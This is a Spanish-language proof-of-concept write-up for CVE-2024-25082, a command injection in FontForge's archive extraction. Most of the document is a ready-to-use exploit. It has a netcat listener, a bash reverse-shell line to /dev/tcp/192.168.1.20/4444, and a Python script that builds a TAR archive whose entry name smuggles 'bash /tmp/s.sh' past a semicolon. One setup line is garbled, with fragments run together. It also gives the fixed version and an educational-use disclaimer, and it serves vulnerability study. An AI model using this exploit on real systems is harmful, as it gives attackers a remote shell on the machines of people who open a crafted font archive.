
Vulnerabilidad de inyección de comandos en FontForge Splinefont por nombre de archivo manipulado
| CVE | Vector | Desencadenante |
|---|
| CVE-2024-25081 | Nombre de archivo manipulado | Apertura directa de archivo |
| CVE-2024-25082 | Nombre de archivo de archivo comprimido manipulado | Extracción de TAR/ZIP/GZ/BZ2 |
Este PoC se dirige a CVE-2024-25082 — la extracción automática de archivos comprimidos de FontForge pasa los nombres de archivo a un shell sin saneamiento, permitiendo que una carga útil delimitada por punto y coma incrustada en un nombre de entrada TAR ejecute comandos arbitrarios.
FontForge admite la apertura de archivos de fuente directamente desde archivos comprimidos. Al extraer un archivo TAR, el componente Splinefont construye un comando de shell usando el nombre de archivo de la entrada del archivo. Debido a que el nombre de archivo no está saneado, un punto y coma (;) en el nombre de la entrada rompe el comando esperado e inyecta instrucciones de shell arbitrarias.
Nombre de entrada TAR malicioso:
exploit.ttf;bash /tmp/s.sh;
Cuando FontForge procesa este archivo, el shell interpreta esto como:
<comando de extracción> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (ajuste según sea necesario)tarfile)netcat en la máquina atacantenc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
Un shell inverso se conectará de vuelta a su oyente.
Corregido en FontForge después de 20230101 mediante PR #5367. Actualice a la última versión.
sudo apt upgrade fontforgeEste código de Prueba de Concepto (PoC) se proporciona solo con fines educativos y de pruebas de penetración autorizadas.